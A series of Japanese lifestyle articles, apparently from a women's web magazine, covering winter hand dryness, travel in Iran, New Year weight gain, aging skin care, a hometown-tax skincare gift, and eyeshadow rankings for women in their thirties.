辛い寒さだけでなく、肌の乾燥にも悩む冬。なかでも、日常的に冷たい空気や水に触れることが多い「手」は、特にダメージを受けやすい部分です。「こまめにケアをしても、手荒れが全然治らない…」なんて嘆いている方も多いのでは？今回は、佳秀工業株式会社が行った「冬の手荒れ、ひび、あかぎれ」に関する調査から、「冬の手荒れ」の実態をご紹介します。手荒れに悩む女性は8割弱！男性よりも多い傾向に佳秀工業佳秀工業株式会社が20代～50代の男女1,111人を対象に行った調査では、「冬場、手の乾燥、手荒れ、ひび、あかぎれで悩みますか？」という質問に対し、男性は51.0％、女性は77.2％が「はい」と回答しました。年代別にみると、男性の場合は20歳～34歳で約64％が「はい」と回答したのに対し、35歳以降で「はい」と答えた人は約46％と、年代によって差が出ています。一方で、女性の場合は、年代による差はほとんどない結果に。女性は年代関係なく、幅広い年齢層の方が冬の手荒れで悩んでいるようです。佳秀工業「手荒れの原因を教えてください」という質問については、男性で1番多かった回答が「季節的な乾燥」（36.2％）でしたが、女性では「毎日の家事」（44.5％）となっています。年代別の調査結果と合わせて考えると、一定以上の年齢となった男性は、妻に家事を任せてしまっているのかもしれませんね。日々の家事が偏っているなら、彼や夫に「手荒れが辛いから、今日はお皿を洗ってくれると助かるな」と持ちかけてみてはいかがでしょうか？家事分担のきっかけになるかもしれません。手荒れで困ることといえば…？佳秀工業「手の乾燥、手荒れ、ひび、あかぎれで困っていることについて教えてください」という質問には、39.2％もの人が「手を洗いたくなくなる」と回答しています。外出先から帰宅したときやトイレの後、食事の前など、手を洗うタイミングは1日に何度もありますが、その度に手が痛むとなると、「できるだけ洗いたくない」と思う気持ちもわかります。2番目に多い回答の「スーパーのレジ袋がなかなか開かない」（37.8％）も、冬の悩み「あるある」ですよね。佳秀工業手荒れによって「手を洗いたくなくなる」という人が約4割にのぼる一方で、普段、家で使う「手洗い洗浄剤」にこだわる人は少ないよう。実際、「家庭で使用する手洗い洗浄剤を選ぶ際のポイントについて教えてください」という質問には、「特にない」（37.5％）と答えた人が最も多い結果になりました。また、「手荒れで洗浄剤を変えることを検討したことがありますか」という質問には、77％もの人が「ない」と回答。手荒れが気になりつつも、普段使用している洗浄剤はそのまま、という人が多数派のようです。冬の家事にはゴム手袋を活用！洗剤も見直そう手荒れの大きな原因となるのは、やはり毎日の「家事」。水仕事では洗剤を使うことも多く、手のうるおいを奪うことにつながります。食器洗剤、お風呂用洗剤などを選ぶ際には、しっかり洗う用の「洗浄力の強い洗剤」と、普段使い用の「刺激が少ない洗剤」を使い分けるのがおすすめです。また、手荒れを防ぎ、悪化させないためには「できるだけ濡らさない」ことも大切。水仕事をする際は、できるだけゴム手袋を着用するようにしましょう。最後に、ハンドクリームでのケアも忘れてはいけません。ハンドクリームを塗る際には、軽く手をマッサージするように塗りこむと、血行の促進にもつながります。ゴム手袋やハンドクリームは、最初は大変に感じるかもしれませんが、習慣にしてしまえば無意識に行えるはず。手をいたわるために、まずはゴム手袋とハンドクリームから始めてみませんか？参考：PRTIMES

おめでたいはずの新年。米軍によるイランのソレイマニ司令官殺害をきっかけに、アメリカとイランの間で緊張が高まっています。アメリカは、日本にいながらにして「身近な国」である一方、イランについては、今回の件で「行ってはいけない危ない国」というイメージを持った方も多いのではと感じます。しかし、イランは知る人ぞ知る魅力のある国。今回は、2度のイラン旅行を経てすっかりイランの虜となった私が、観光地としてのイランの魅力をお伝えします。※現在、外務省海外安全ホームページでは、イランの大部分が「レベル3渡航中止勧告」となっています（2020年1月12日時点）【魅力①】ひたすらに美しい世界遺産の宝庫イランには、世界史の教科書にも登場するような、歴史的に重要な文化遺産が数多く存在しています。こちらは、古代遺跡『ペルセポリス』。砂漠にそびえる巨大な遺跡群に圧倒されます。紀元前331年にアレクサンダー王によって陥落し、廃墟となりました。イランの首都テヘランにある『ゴレスタン宮殿』は、18世紀末から20世紀初頭にかけて栄えたカジャール朝の宮殿。2013年に文化遺産に指定されていて、博物館として宮殿見学ができます。イランのなかでも、古く美しいモスクがたくさんあるのが、古都イスファハン。日本でいう京都にあたる街です。イスファハンでぜひ訪れたいのが、かつて「世界の半分」とも言われ、今では市民の憩いの場となっている『イマーム広場』です。こちらの写真は、イマーム広場の南にそびえる『マスジェデ・ジャーメ』（王様のモスク）。イスラム建築の最高峰と言われていて、青を基調とした美しい壁面装飾は必見です。イマーム広場の東にある『マスジェデ・シェイフ・ロトゥフォッラー』は王族専用だったモスク。小さいながらも神々しさを感じさせます。そのほか、イマーム広場を見渡せるアーリー・ガープ宮殿も有名な観光スポットです。世界遺産ではありませんが、こちらはイラン南西部のシーラーズにある『ハンマーメ・ヴァルキール』。“ピンクモスク”の名で知られ、窓一面にステンドグラスがはめ込まれた美しいモスクです。午前中には、外から差し込む日光がステンドグラスを通過し、カラフルな光がモスク内を彩ります。このように、イランには、時間を忘れて見入ってしまう美しい歴史遺産や建築物が溢れています。【魅力②】日本人に合うおいしい食事イランの食事は、基本的に優しい味付け。辛いものや脂っこいものが少なく、日本人が食べやすいメニューが多いのが特徴です。こちらは、イランでよく見かけるのがイラン式ケバブ。日本でよく見かける、巨大な肉が回っているタイプはトルコ式で、イランのケバブは大きな焼鳥形式です。焼鳥のように焼いたり、ひき肉にして串焼きにしたお肉を、ご飯と一緒にいただきます。こちらは、イランのパン。食感が違う4種類のパンは、どれも朝食でよく出てきます。柔らかいチーズやニンジンのジャム、ハチミツが添えられることが多く、特にチーズが絶品！あまり知られていませんが、現地に住む方によると、イランの農作物は基本的にオーガニックなのだそう。野菜も果物もお米も非常においしく、何より安心して食べられるのはうれしいです。イランの北部、ラシュトはオリーブの産地。ラシュトのバザールに行くと、これでもかと大量のオリーブが並んでいました。ほとんど臭みがない「にんにくのピクルス」もラシュトの名品です。レストランでは出てきませんが、特においしいのが家庭料理。写真のように、レーズンやくるみ、豆を入れて炊きこんだご飯や、イラン風のおこげを作って食べるミートソーススパゲッティ（マカロニ）など、ほっぺたが落ちそうになる激ウマ料理ばかりです。しかし残念ながら、これらの料理はレストランやホテルではお目にかかれません。私は宿泊先のゲストハウスでランチやディナーを頼んだ際にいただきました。ゲストハウスに宿泊し、オーナーに「食べてみたい」と頼むと作ってもらえるかもしれません。【魅力③】親日で優しいイランの人たちイラン人はとても親切で人懐こく、「サラーム（こんにちは）」と挨拶すると、ニコッと笑って「どこから来たの？」と気さくに話しかけてくる人が多いです。長距離移動のバスや電車で隣に乗り合わせた人とは、「仕事は何しているの」「兄弟はいる？」と翻訳アプリを駆使しながらの会話が始まり、最後に「私の家にこれから来ない？」なんて誘われることも。私自身、いつの間にか現地の友達がたくさん増えていて、別れた後もこまめにメッセージをくれています。また、イランには親日家が多く、「日本から来ました」「私は日本人です」と言うと、「ジャーポン！！」と目を輝かせ、「日本も日本人も大好きだよ！」と大歓迎してくれたのを覚えています。ひとり旅でも寂しさを感じることのない国私がイランに行くかどうか悩んでいた頃、世界1周旅行をしたことがある人に「イランはどんな国でしたか？」と尋ねたことがあります。するとその人からは、「涙が出そうなくらい素朴で優しい人ばかりの国。最高だよ」という答えが返ってきました。私は、実際にイランを旅してみて「まさにその通り」だと実感しました。道でガイドブックを開けば、誰かが「どこに行きたいの？」と声をかけてきてくれるイランでは、ひとりでもあまり寂しさを感じることなく過ごせるように思います。今はアメリカと緊張状態にあるため、イランの大部分が「レベル3渡航中止勧告」（2020年1月12日時点）となっていますが、レベルが引き下げられたときには、また訪れたいと願っています。

正月休み明け、憂鬱な仕事始めを乗り越え、本来のペースを取り戻しつつある1月中旬。同時に「なんだか太ったかも…!?」と自分の体型が気になる方も少なくないのでは？そこで今回は、女性の正月太りの実態を調査したレポートと、体重を元に戻す専門家のアドバイスをご紹介します！女性の約8割が正月太りを経験！大正製薬株式会社ダイエットサポート飲料「コバラサポート」を販売する大正製薬株式会社は、20～30代の働く女性を対象に「正月太り」に関する調査を実施しました。調査では、「年末年始のタイミングで体重が増えた経験がありますか？」という質問に対して、78％もの女性が「ある」と回答。大多数の女性が正月太りを経験していることが判明しました。続けて、「正月太りは、新年のやる気に影響がおよぶと思いますか？」と聞くと、71％の女性が「そう思う」と答えました。年明けに気づく体重増加が、仕事などのモチベーションに支障をきたすこともありそうです。挫折しやすい！？年明けダイエットを阻む「罠」大正製薬株式会社「正月太りの後、体重を元に戻すためにダイエットをしたことがありますか？」という質問では、「ある」と回答した人が63％という結果に。年明けに意識してダイエットに取り組む人は多いようです。一方で、「正月太り解消のダイエットは挫折しやすい」と感じている女性は、なんと85％にのぼりました。理由としては、「寒くて運動したいという気持ちにならない」（80％）、「新年会など飲み会やイベントの機会が多い」（59％）、「厚着でごまかせるため後回しになってしまう」（41％）といった声が寄せられました。新年会などで外食の機会が増えたり、寒さでつい運動が億劫になってしまうこの季節。正月太りを解消するには、さまざまな障壁を乗り越える必要があるといえそうです。正月太り解消の「コツ」とは？ダイエットの定番といえば「食事制限」。しかし、空腹をツラく感じて我慢できなかったり、反動でドカ食いしてしまったりと、継続がなかなか難しいのが正直なところですよね。そこで同社は、調査結果を踏まえ、美容家・ダイエットインストラクターの飯塚美香さんに正月太り解消のコツを聞いています。飯塚さんによれば、ダイエットで挫折しないコツは「食欲を上手にコントロールしながら、ストレスを溜めないように工夫すること」。我慢し過ぎはストレスになり、リバウンドの原因になることも。どうしても間食したいときには、低カロリーのものでお腹を満たしてあげることも大切だといいます。さらに、「食欲には、本物の食欲『代謝性食欲』と、ウソの食欲『認知性食欲』があります」と飯塚さん。食事の時間になったからという理由や、食べ物を見たり、食べ物の話をしたりすることで起こる食欲は『認知性食欲』というウソの食欲。体が空腹状態になったときの本物の食欲とは異なるため、それを見極めるのが重要だそうです。食欲を上手にコントロールして、正月太りをなかったことに！飯塚さんによれば、食欲を上手にコントロールするうえでは、お腹を満たしてくれるダイエットサポートアイテムの活用もおすすめとのこと。つい間食をしたくなる「ウソの食欲」に負けそうになったときには、お菓子のかわりに低カロリーなダイエットサポート食品・飲料を取り入れるとよさそうですね。大正製薬の「コバラサポート」など、空腹感を軽減できるダイエットサポート商品は、挫折しがちな食事制限を助けてくれる強い味方。食欲をコントロールするためにもこういったアイテムを上手に活用して、早めの正月太り解消を目指しましょう！参考：大正製薬「コバラサポート」、「コバラサポート」キャンペーン

いつまでも若く、美しくありたいと願う女性は多いもの。その気持ちは、たとえママになっても同じですよね。自慢のママでいるために、さまざまな努力を重ねている女性は少なくないでしょう。その一方で、子どもたち側は、親にどうあって欲しいと願っているのでしょうか？気になる子どもの意見を見ていきましょう。約9割が「親には若くいてほしい」！？株式会社アニスは、10代～30代の男女を対象に「親の老いに関するアンケート調査」を実施し、子どもの本音を調査しました。そこで「親にいつまでも若々しくいてほしいと思いますか？」と訪ねたところ、「はい」という回答が85.5%にものぼりました。いくつになっても、親には若く、元気でいて欲しいというのが、子どもの本音のようです。株式会社 アニス調査では、自分が成長して大人になり「親を超えてしまったと感じる瞬間」についても聞いています。その結果、「親の身長を超えた」時という回答が4割以上と最も高く、次いで「実績や成果が出た（15.1%）」、「料理が得意になった（14.0%）」、「力比べで勝った（12.6%）」、「家事の裏技を親に教えた（11.4%）」、「出産や子育てを経験した（9.0%）」と続きました。男性は仕事や体力面、女性は女性としての知識や経験で「親を超えてしまった」と感じるようですね。頼れる存在として、自分を導いてくれた親を超えることは、嬉しい一方、寂しく感じる方も多いのではないでしょうか。子どもが親の老いを感じた瞬間とは？老いは必ず訪れますが、子どもにとって、自分の親の老いを受け入れることは、覚悟がいることですよね。親の老いを目の当たりにして、ショックを受けた経験がある方もいるでしょう。株式会社 アニス調査では、「親の老いを感じる時」について、「体力（42.8%）」という回答がもっとも多く、次いで「目元のシワ（37.9%）」、「物忘れ（35.3%）」、「薄毛（24.5%）」などが続きました。具体的なエピソードについても、顔のシワやたるみに親の老いを感じたエピソードが多く寄せられています。・「久々に帰省したときに会ったら、顔が少し老けていた」（20代/女性/学生）・「シワが増えて、老けたな～と感じた」（20代/女性/会社員）・「首元のシワが気になった」（20代/女性/パート・アルバイト）・「母親のほうれい線が目立つようになった」（30代/男性/会社員）やはり見た目の変化で、親の老いを意識した経験のある方が多いようですね。なかでも、目元のシワは老いを感じる大きなポイントであることが伺えます。親の肌コンディションで気になるのは「乾燥」株式会社 アニス「親の肌のコンディションで冬に心配なこと」についての質問には、「乾燥（35.7%）」という回答がもっとも多い結果でした。さらに、続いて挙げられた「手荒れ」「ひび割れ」「あかぎれ」「かゆみ」なども、肌の乾燥から引き起こされる肌トラブル。やはり、肌の乾燥を心配する声が多いと言えるでしょう。年齢を重ねるとともに肌の保湿力は低下していくので、乾燥が年齢肌トラブルの原因になることは事実です。そのほか、冬の気温の低下や暖房による乾燥も、シワを作る大きな原因になることも……。もし親が若々しくいることが、子どもの喜びにもつながるとしたら、サボっていた保湿ケアも頑張ってみようと思いますよね。いつまでも一緒にお出かけしたいと思われるママでいるために調査では、両親のうち、「母親の方がより仲が良い」との回答が5割を超え、子どもがより母親と親密な関係を築いていることもわかりました。アラサー世代はまだ若く、子どもが小さい方が多いので、自分が親として老いていくことを現実的にはとらえにくいと思いますが、親の姿は未来の自分です。年齢を重ねていくほどに、体力や見た目には、それまで積み重ねた日々の努力が大きな差となって現れやすいもの。未来の自分と、そして我が子のために、今からできるケアをはじめてみませんか。参考：株式会社 アニス、EYEXIA（アイシア）

寒さがますます厳しくなり、乾燥によって肌トラブルを抱えやすくなるこの季節。特に年齢を重ねると、どうしたら肌の劣化を抑えることができるのかでお悩みの方も少なくないのでは？最近は、美容外科や美容皮膚科でのスペシャルケアをする方も増えてきましたが、費用が高額なこともあり、なかなかの勇気がいりますよね。世の女性たちは、普段どんな肌ケアをしているのでしょうか？年齢肌は、ある日突然やってくるブレーンコスモス株式会社ブレーンコスモスが30歳以上の女性を対象に実施した、「肌の老化とエイジングケア」に関する意識調査では、「年齢肌に悩みがある」との回答が、67.8%にものぼりました。さらに、「何歳くらいからエイジングケアを始めたか」という質問には、「50歳以上」（22.5％） という回答が最も多い結果に。また「30歳～34歳」が15.6％ 、 「35歳～39歳」が14.3％と、30代からエイジングケアを始める人も少なくないよう。30代以降は、加齢による肌トラブルを感じる人が多くなることが伺えますね。ブレーンコスモス「どのようなことから年齢肌を意識したか」については、「シワ・たるみ」が約55%と第1位に。次いで、シミも約50%と高く、まずはシワやシミなどの目に見えるトラブルを発見して年齢肌を自覚した方が多いようです。年齢肌を意識した瞬間については、次のようなコメントが寄せられています。「ふと鏡を見たときに肌がくすんでいて驚いた」（神奈川県/40代/会社員）「同級生よりも私だけ実年齢より上に見られた時」（宮崎県/50代/専業主婦）「ファンデーションのノリが悪くなったとき」（東京都/60代/専業主婦）「ある日突然左側だけほうれい線がくっきり出た」（大阪府/50代/看護師）日常のふとした瞬間や他人からの評価など、突然現実を突きつけられて肌の劣化に直面した方も多いようです。徐々に肌は衰えていきますが、自覚するのは一瞬という……。なんとも残酷な事実ですね。年齢肌のケアは自宅派が多数！注目の成分は？ブレーンコスモス「年齢肌を意識してから行っているエイジングケア」については、1位は「保湿アイテムを使う」で、2位は「エイジングケア化粧品を使う」という結果に。多くの方が、自宅でのケアを行っていることがわかります。一方で「美容クリニックでの治療」という回答は3.6%と、まだまだ少数派でした。エイジングケア化粧品を選ぶ際に注目する成分については、「ヒアルロン酸」「コラーゲン」との回答がいずれも5割以上と高く、セラミドやレチノール、エラスチンなどの話題の保湿成分に加えて、「ヒト幹細胞培養液」との回答もありました。「ヒト幹細胞培養液」がエイジングケアの救世主に…!?「ヒト幹細胞培養液」とは、人間の幹細胞を培養する時に出る分泌液のこと。「幹細胞」は、分裂して同じ細胞を増やす力と、違う細胞になる力を併せ持った細胞で、京都大学の山中教授がノーベル賞を受賞したことで一躍注目を集めた「iPS細胞」も幹細胞のひとつです。ヒト幹細胞培養液は人間の細胞から培養されているため、肌への親和性が高いのも特徴。肌を構成する500種類以上ものタンパク質や成長因子、コラーゲン、ヒアルロン酸などがたっぷり含まれています。そのため、再生医療の分野だけでなく、シワの予防や改善、美白効果などが見込めるとして、美容業界やエイジングケアの分野でも大変注目されている成分なのです。これは試してみたくなりますよね！ヒト幹細胞培養液配合のスキンケア化粧品も登場してきているので、気になる方はスキンケアに取り入れてみてはいかがでしょうか？日々のケアで、自分の肌を好きになろう肌が衰えることは残念ですが、年齢を重ねて経験してきたことは、女性にとってもかけがえのない財産です。年齢肌がコンプレックスになって、自信を失ってしまうなんてもったいないですよね。自分の肌としっかり向き合ってケアすることが、自分を好きになるための第一歩。毎日の努力が女性の自信をつくるのです。※参考：ブレーンコスモス

10月からの消費税増税で、出費は増えるばかり…。そんななか、節約術の1つとして注目されているのが、納税によって返礼品がもらえる「ふるさと納税」です。とはいえ、ふるさと納税の返礼品といえば、米や肉など食べ物のイメージ。「正直、欲しいと思える返礼品がないんだよな…」なんて感じていた女性もいるのでは？今回は、そんな女性の心を鷲掴みにする新たな「返礼品」をご紹介します！世界に1つ!?自分だけの『オリジナルスキンケア体験セット』が登場今回ご紹介するふるさと納税の返礼品は、『フルオーダーメイドのスキンケア』。パーソナライズドスキンケアブランド「ONE to ONE Beauty」が、自社工場のある岡山県和気町と連携し、2019年12月5日から提供を開始した返礼品です。化粧品選びでは、成分、機能性、自分の悩みを解決できるものなど、こだわりを持って選んでいることが多いですよね。『世界で一つ あなただけのオリジナルスキンケア体験セット』は、まさに「自分に合う化粧品」を探し求めている女性にぴったりな返礼品。オンライン上のカウンセリングで現在の肌と心の状態を詳しく解析し、専門チームがスキンケア処方を提案するシステムとなっています。さらに、なんと9億通り以上のスキンケアパターンから、保湿力、美容成分、好きな香りを自分好みにカスタマイズし、唯一無二のスキンケア製品を作ることができます。気になる『オリジナルスキンケア体験セット（2ヶ月分）』の概要ONE to ONE Beauty《世界で一つ あなただけのオリジナルスキンケア体験セット》の概要は、次の通り。返礼品の内容・チューニングブースター（エイジングケア・繊細肌用のいずれか 90ml）・ゲルパーソナライザー （45ℊ）セット2ヶ月分寄附金額・申込条件・10万円以上の寄附をした人が対象・通年受付、何度でも申し込み可能申し込み後の流れ申し込み後、肌のカウンセリングおよびカスタマイズを行う申込者専用ページが案内されます。その専用ページから、希望にあう商品をカスタマイズ。専用ページで受付をしてから、約2週間後に返礼品が届くそう。なお、「ONE to ONE Beauty」にはオーダーサンプルサービスがあり、処方内容をサンプルサイズで試すことが可能。1回までなら内容も変更できます。1人の作り手が全ての工程を担当！「ONE to ONE Beauty」の特徴は？ONE to ONE Beauty化粧品を作る工場というと、ベルトコンベアなどの機械で、化粧品が次々と運ばれているのを想像してしまいませんか？しかし「ONE to ONE Beauty」のオーダーメイドは、そうではありません。「ONE to ONE Beauty」では、厳正な審査を通過した数名のみが製造を許可されていて、1人の担当者が製品の製造から梱包、発送手続きまでをおこなっているそう。これはつまり、「自分専用の担当者が、全ての作業を担当してくれる」ということ。このシステム自体がとても贅沢ですし、信頼できますよね。何より、化粧品に作り手の思いが込められている気がしませんか？【ふるさと納税】今後の返礼品ラインナップに注目！美容への意識が高く、賢く節約したい女性の心に響く、「ONE to ONE Beauty」と岡山県和気町の《世界で一つ あなただけのオリジナルスキンケア体験セット》。ふるさと納税の返礼品として『フルオーダーメイド化粧品』を提供するのは、業界初の取り組みです。もしこの返礼品に人気が集まれば、他の自治体にも「こういう返礼品が求められている」と気付いてもらえるはず。そしたら今後は、女性の心にヒットする返礼品がより増えるかもしれませんね！自分がいいと思うもの、応援したいものには積極的に投資をして、楽しく節約していきましょう。参考：岡山県和気町ふるさとチョイス 返礼品ページ、ONE to ONE Beauty

アイメイクには欠かせないアイシャドウ。アイシャドウを変えるだけで、大人っぽくなったりかわいらしくなったりと、がらりと印象が変わるので、アイシャドウ選びは慎重になりますよね。特に目元のメイクはトレンドの動きが激しいので、アンテナを敏感にしてアップデートしないと、すぐに流行遅れの顔になってしまいます。さらに、年齢によっても似合うメイクは変わっていくので、20代の頃のアイシャドウを使い続けていると自分では気づかないうちに、痛々しい若作り顔になってしまっている恐れも……。今回は、30代から心がけたいアイシャドウの選び方やおすすめのアイシャドウについてご紹介します。30代におすすめなアイシャドウの選び方1.カラー・色の系統・色数女性の30代は、仕事では責任あるポジションを任されるようになったり、プライベートでは結婚や出産、子育てなどの生活環境が大きく変化したりするので、オンもオフも派手なアイメイクは避けた方がベターです。さらに、まぶたは肌が薄く、加齢による衰えがあらわれやすいので、派手な色は皺やたるみを悪目立ちさせてしまうのです。むしろやり過ぎないくらいが、ちょうど良いと心得ましょう。定番のブラウンは一つ持っていると便利なカラーです。ベージュやピンク、オレンジなどの他のカラーとの相性も良く、ナチュラルな上品顔に仕上げてくれます。また、複数カラーがセットになったパレットタイプがおすすめです。ハイライﾄから濃いめのブラウンまで、4色くらいがセットになっているものが便利です。ハイライトカラーは自分の肌よりもワントーン明るい色のものを選びましょう。ハイライトはまぶたのくすみをととのえるベースの役割もあるので、くすみをうまくカバーして艶やかなまぶたに仕上げてくれます。ただし、20代から使っているブラウンのアイシャドウは、30代のくすみ肌には似合わなくなっている可能性があるので、30代になったら必ず見直しましょう。2.マット・ラメなどの質感マットなカラーは、艶がなく色がハッキリと出るので、目の際にアイライン代わりに使うと、目元が引き締まります。質感がマットなので、肌からは色が際立って見えるので、カラーによってはベタ塗り感が出て派手になってしまうことがあります。広い面ではなく、ポイントを絞って使うと良いでしょう。一方、ラメ入りのカラーは、キラキラと艶を出すのに便利。まぶた全体にハイライトとして使う明るめのカラーには、ラメが入っていることが多いです。ラメ入りのカラー選びで気を付けたいのは、ラメの粒子の大きさです。ラメ粒子が大きいと、キラキラな目元にはなりますが、しわが目立ってしまうという欠点も。若い頃はキラキラな派手メイクも似合いますが、30代ではけばけばしく下品な印象を与えかねません。ラメ粒子が細かく、適度に艶を出してくれるカラーを選びましょう。3.価格アイシャドウはドラッグストアなどでお安く購入できる通称プチプラと、百貨店などで取り扱われている高級ブランドなどの通称デパコスに大きく分けられます。プチプラのアイシャドウというと、高校生や若い年代向けのアイテムという印象があるかもしれませんが、種類やカラーバリエーションも豊富で、30代が使える商品もたくさん登場しています。トレンド感を抑えたい時や、季節によってカラーを追加したい時などに手軽に購入できるのもプチプラコスメのメリットです。ただし、パッケージの素材やデザインが安っぽいことは否めません。また、機能性はデパコスに比べて劣る可能性があります。一方の、デパコスは化粧品メーカーや高級メゾンのコスメラインなどから発売されているので、価格はお高め。高級感のあるパッケージに4色入りのアイシャドウパレットで5000円を超える高額アイテムも。厳選されたニュアンスカラーや粉の質感が、プロのメイクアップアーティストからも支持されています。30代におすすめのプチプラアイシャドウ人気ランキングTOP5！プチプラなアイシャドウは、カラーが豊富なので複数買いできるのがうれしいですよね。カラーや発色の良さなどが評判の良い人気のプチプラアイシャドウの中から、30代におすすめのアイテムをランキングでご紹介します。1位：スキニーリッチシャドウ｜エクセルスキニーリッチシャドウは、発色や粉質の良さ、絶妙なラメ感で大人気のエクセルのアイシャドウです。4色入りのパレットで、順番に色を重ねていくだけで、作り込んだようなリッチなグラデーションが実現でき、アイメイクが苦手な人でも簡単に印象的な目元が作れます。発色がよく、上品な輝きの微細パールが艶のある目元を演出。スクワラン配合でまぶたに密着して、しっとり馴染むのも◎。捨て色がなく自然に馴染むカラーなので、仕事にもプライベートにも使いやすいところが人気の理由です。ブラウンベースの全6種類展開で、なりたいイメージや肌色に応じてカラーチョイスができます。ブランド：エクセル会社：常盤薬品工業価格： 1,500円（税抜）2位：パーフェクトスタイリストアイズ｜キャンメイク抜群のコスパとかわいいパッケージで、女子高生の必衰アイテムともなっているキャンメイク。パーフェクトスタイリストアイズは5色入りのパレットで、全10種類も展開しているので必ず似合うカラーに出会えます。1つのパレットにメインカラー2色を配しているので、気分によって2つのスタイルが楽しめるのも◎。ラメパウダーが別になっていて調節ができるので、ラメなしにもラメありメイクにも対応できる万能パレットです。粉の肌馴染みがよく、カラーの寄れにくさも秀逸。ブランド：キャンメイク会社：井田ラボラトリーズ価格： 780円（税抜）3位：トーンアップアイシャドウ｜セザンヌプチプラながらも機能性の高さで人気のセザンヌ。トーンアップアイシャドウは、厳選された3色入りのパレットで全7種類展開しています。明るく大きな目元になるアイシャドウをキャッチコピーにしているだけに、ハイライトカラーの微細パールがくすみを飛ばして明るい目元を演出してくれます。目を開けると隠れがちな中間色も肌馴染みが良い色設定で、幅広く塗れて大きな目元に。さらに、アイライナーがいらないほどの濃密高発色の引き締めカラーの3色で、朝の時短メイクに便利とユーザーからも支持されています。コスパは今回紹介するアイシャドウの中では最安！ブランド：セザンヌ会社：セザンヌ化粧品価格： 580円（税抜）4位：ショコラスイートアイズ｜リンメルショコラスイートアイズは、名前の通りほんのりとチョコレートの甘い香りがするアイシャドウ。まるで板チョコのような5色のカラーは全てラメ入りで、全10種類展開しています。ラメの質感は細かく上品なので、30代からの目元にも違和感なく使えます。メロウフィットオイル配合で、しっとりまぶたに密着し、ひと塗りでしっかり発色してくれるのも◎。ユーザ―評価も、見たままの色が再現できると好評です。プチプラコスメの中ではやや高額ですが、その分パッケージも高級感があるのでプレゼントにもおすすめ。ブランド：リンメル会社：リンメル価格： 1,600円（税抜）5位：ヴィンテージモードアイズ｜ケイトケイトはカネボウプロデュースのスタイリッシュなプチプラコスメブランド。黒木メイサさんや中島美嘉さんなど、豪華メインモデルの起用でも話題のブランドです。ヴィンテージモードアイズは4色入りのパレットで全5種類展開しています。2色のヴィンテージくすみカラーが抜け感のある囲み目を演出して、おしゃれで個性的な目元に仕上げてくれます。発色が良く、パーティーや特別な日の華やかなシーンでの活躍度が高いアイシャドウですが、つける幅や位置を絞れば普段使いにもOK。ブランド：ケイト会社：カネボウ化粧品価格： 1,200円（税抜）30代におすすめのデパコスアイシャドウ人気ランキングTOP5！30代になったら、ちょっと贅沢なデパコスアイシャドウにも挑戦したいですよね。機能性の高さに加えて、高級感のあるパッケージもデパコスならではの魅力です。カラーや機能性、パッケージにこだわった、おすすめのデパコスアイシャドウをご紹介します。1位：デザイニングカラーアイズ｜SUUQU（スック）日本発のコスメブランドSUUQU（スック）は、独自の理論に基づいた「顔筋マッサージ」の手法で話題になったブランド。凛として自立した女性をイメージしたプロダクトは、パッケージにも自然石をモチーフにするなどこだわりを感じるデザインとなっています。デザイニングカラーアイズは、4色入りのパレットで現在は全13種類が発売されています。一見個性的な配色ですが、肌に乗せると馴染みが良く、上品なラメ感が30代からも使いやすいと好評です。粉質がしっとりしていて肌に密着するので、かるく指にとって伸ばすだけでも美しく発色します。ブランド：SUUQU（スック）会社：エキップ価格： 6,800円（税抜）2位：ドラマティックスタイリングアイズＳ｜マキアージュモデルの長谷川潤さんとアイドルグループ「乃木坂46」の白石麻衣さんがメインモデルをつとめる、資生堂のメイクアップブランドマキアージュ。資生堂クオリティの信頼性とスタイリッシュなデザイン、コスパの良さで、幅広い年代に支持されています。瞳の色研究から生まれたアイシャドウとして人気のドラマティックスタイリングアイズに、グラデーションカラーを配したのがSシリーズです。パレットは3色ですが、目元に深みをあたえるシームレスグラデカラーはブラシにとってひと塗りするだけで美しいグラデーションが完成する境目のない2色カラーが配されています。全5種類展開で、どれも短時間で自然な仕上がりになると人気です。ブランド：マキアージュ会社：資生堂価格： 2,800円（税抜）3位：アイ カラー クォード|トム フォード ビューティファッションブランドのトムフォードが手掛ける、トムフォードビューティーは機能性の高さが人気のコスメブランドです。アイカラー クォードは、デパコスアイシャドウの中でも高額ですが、見たままの鮮やかな発色ときめ細かなしっとりとした粉質でツヤ感があり、アラフォー世代にも人気です。4色入りのパレットで10種類以上とバリエーションが豊富なのも◎。各シェードによって、シアー スパークル、サテン、シマー、マットが配色されていて、組み合わせ次第で ソフトからモードな仕上がりまで楽しめます。メイクの持ちの良さにも定評があり、夕方までくずれないとユーザー評価が高いアイシャドウです。ブランド：トムフォードビューティー会社：トムフォードビューティー価格： 9,200円（税抜）HANKYU BEAUTY ONLINE4位：スキンモデリングアイズ|ルナソル豊富なアイシャドウのラインナップが人気のルナソルは、カネボウがプロデュースするメイクブランドです。スキンモデリングアイズはベージュを基調とした4色パレットで、全2種類展開です。ベージュべ―スで上品な落ち着いた印象に仕上がるので、日常使いとしてナチュラルな目元にしたい時に便利です。さらに、光によって発色するルーセントカラーピグメントが、肌を美しく見せてくれます。発色が良いので、単色使いで違った表情を演出してみるのもおすすめです。ブランド：ルナソル会社：カネボウ化粧品価格： 5,000円（税抜）5位：レ キャトル オンブル|シャネルあこがれのメゾン「シャネル」はメイクアップブランドとしても、高い信頼を誇るブランド。世界のメイクトレンドはシャネルが牽引していると言っても過言ではないほどです。レ キャトル オンブルは、プロのメイクアップアーティストも絶賛するアイシャドウで、有名人の愛用者も多い人気の商品です。4色入りパレットを10種類以上展開していて、シーズンごとに登場する限定カラーも毎回話題となっています。話題性だけでなく機能性にも優れていて、どれも捨て色がないとユーザー評価が高く、しっとりしなやかなパウダーは肌に密着して、重ね付けがしやすいのも◎。ブラックのパッケージにシャネルのマークだけを配したシンプルなデザインは高級感があり、さらに内側には大きな鏡付きで実用性も兼ね備えています。ブランド：シャネル会社：シャネル価格： 6,900～7,000円（税抜）30代におすすめなアイシャドウまとめ30代からのアイシャドウ選びでは、カラーチョイスはもちろん、粉質や発色など機能性も大切なポイントになります。プチプラコスメでも、優れた機能性のあるアイシャドウもあるので、プチプラとデパコスを上手に使い分けてみてくださいね。

